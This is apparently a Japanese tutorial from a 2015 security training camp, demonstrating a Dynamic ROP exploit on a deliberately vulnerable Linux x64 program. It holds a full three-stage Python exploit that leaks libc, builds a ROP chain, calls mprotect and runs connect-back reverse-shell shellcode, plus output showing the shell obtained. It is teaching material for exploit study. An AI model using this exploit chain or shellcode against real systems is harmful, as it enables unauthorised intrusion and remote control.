Linux x64でDynamic ROPによるシェルコード実行をやってみる
ASLR+DEP+FullRELROが有効な環境で、Dynamic ROP(JIT-ROP)により任意のシェルコードを実行してみる。 これは、セキュリティ・キャンプ全国大会2015の講義にて行った演習に若干の修正を加えたものである。
環境
Ubuntu Server 14.04.2 64bit版
$ uname -a Linux seccamp2015-d123 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4
脆弱性のあるプログラムコードを書いてみる
単純なスタックバッファオーバーフロー脆弱性のあるプログラムコードを書くと次のようになる。
/* sbof.c */ #include <stdio.h> void sbof() { char buf[16]; int bytes; bytes = read(0, buf, 400); write(1, buf, bytes); } int main(int argc, char *argv[]) { sbof(); return 0; }
ASLR、DEP、FullRELRO有効、SSP、PIE無効にてコンパイルする。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now sbof2.c
16バイト以上の入力でスタックバッファオーバーフローが起こることを確認してみる。
$ ./a.out AAAA AAAA $ ./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA! Segmentation fault
エクスプロイトコードを書いてみる
最初に、実行ファイルから必要となる情報を書き出しておく。
$ readelf -a a.out >dump.txt $ objdump -M intel -d a.out >>dump.txt
「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」と同様の手順にて、任意のシェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import struct from subprocess import Popen, PIPE bufsize = 16 addr_csu_init1 = 0x400636 addr_csu_init2 = 0x400620 addr_leave_ret = 0x4005bc addr_got_read = 0x601020 addr_got_write = 0x601018 addr_got_libc_start = 0x601028 addr_bss = 0x0000000000601048 addr_stage = addr_bss + 0x400 p = Popen(['./sbof2'], stdin=PIPE, stdout=PIPE) # stage 1 buf = 'A' * bufsize buf += 'AAAAAAAA' * 3 buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got_libc_start, 1) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage, 0) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage, 0, 0, 0, 0) buf += struct.pack('<Q', addr_leave_ret) p.stdin.write(buf) print "> %r" % p.stdout.read(len(buf)) data = p.stdout.read(8) addr_libc_start = struct.unpack('<Q', data)[0] print "[+] addr_libc_start = %08x" % addr_libc_start # stage 2 read_bytes = 0x180000 buf = 'AAAAAAAA' buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, read_bytes, addr_libc_start, 1) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage+400, 0) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage+400, 0, 0, 0, 0) buf += struct.pack('<Q', addr_leave_ret) buf += 'A' * (400-len(buf)) p.stdin.write(buf) data = p.stdout.read(read_bytes) print "[+] len(data) = %x" % len(data) # stage 3 addr_pop_rax = addr_libc_start + data.index('\x58\xc3') addr_pop_rdi = addr_libc_start + data.index('\x5f\xc3') addr_pop_rsi = addr_libc_start + data.index('\x5e\xc3') addr_pop_rdx = addr_libc_start + data.index('\x5a\xc3') addr_syscall = addr_libc_start + data.index('\x0f\x05\xc3') nr_mprotect = 10 # connect-back shellcode (127.0.0.1:4444) shellcode = '\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05' buf = 'AAAAAAAA' buf += struct.pack('<QQ', addr_pop_rax, nr_mprotect) buf += struct.pack('<QQ', addr_pop_rdi, addr_stage & ~0xFFF) buf += struct.pack('<QQ', addr_pop_rsi, 1024) buf += struct.pack('<QQ', addr_pop_rdx, 7) buf += struct.pack('<Q', addr_syscall) buf += struct.pack('<Q', addr_stage+400+len(buf)+8) buf += shellcode buf += 'A' * (400-len(buf)) p.stdin.write(buf) p.wait()
上のコードの内容を簡単に説明すると次のようになる。
- GOTにある__libc_start_main関数の実際のアドレスを書き出し、stack pivotを行う
- __libc_start_main関数の実際のアドレスから0x180000バイトを書き出し、stack pivotを行う
- 書き出したメモリからシステムコールを呼ぶのに必要なROP gadgetを探索し、mprotectシステムコールを実行する
- シェルコードにジャンプする
ここでは、シェルコードとして127.0.0.1:4444に対するconnect-back shellcodeを用いている。
なお、2で書き出すバイト数は、次のようにして推定できる。
$ ldd a.out linux-vdso.so.1 => (0x00007ffffea8e000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc2eada000) /lib64/ld-linux-x86-64.so.2 (0x00007fdc2eea6000) $ readelf -a /lib/x86_64-linux-gnu/libc.so.6 (snip) Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x0000000000000230 0x0000000000000230 R E 8 INTERP 0x0000000000187f30 0x0000000000187f30 0x0000000000187f30 0x000000000000001c 0x000000000000001c R 10 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x00000000001ba014 0x00000000001ba014 R E 200000 LOAD 0x00000000001ba740 0x00000000003ba740 0x00000000003ba740 0x0000000000005160 0x0000000000009b80 RW 200000 (snip) $ nm -D -n /lib/x86_64-linux-gnu/libc.so.6 | grep __libc_start_main 0000000000021dd0 T __libc_start_main $ python Python 2.7.6 (default, Jun 22 2015, 17:58:13) [GCC 4.8.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> hex(0x00000000001ba014-0x0000000000021dd0) '0x198244' >>> [CTRL+D]
readelfコマンドで表示されたプログラムヘッダの内容から、先頭から0x1ba014バイトが実行可能領域としてロードされることがわかる。 また、nmコマンドの実行結果から、__libc_start_main関数は先頭から0x21dd0バイトの位置にあることがわかる。 したがって、この場合__libc_start_main関数のアドレスから書き出すことができるバイト数は最大で0x198244バイトとなる。
エクスプロイトコードを実行してみる
あらかじめバックグラウンドでtcpの4444ポートをlistenした上で、エクスプロイトコードを実行してみる。
$ nc -v -l 4444 & [1] 920 $ Listening on [0.0.0.0] (family 0, port 4444) [ENTER] $ python exploit3.py & [2] 927 $ > 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\x00\x00\x00AAAAAAAA6\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00(\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x10`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\x05@\x00\x00\x00\x00\x00' [+] addr_libc_start = 7fef6cfb9dd0 [+] len(data) = 180000 Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 33140) [ENTER] [1]+ Stopped nc -v -l 4444 $ fg 1 nc -v -l 4444 id uid=1000(user) gid=1000(user) groups=1000(user) exit [2]- Done python exploit.py
シェルコードが実行され、listenしていたポートからシェルが操作できることが確認できた。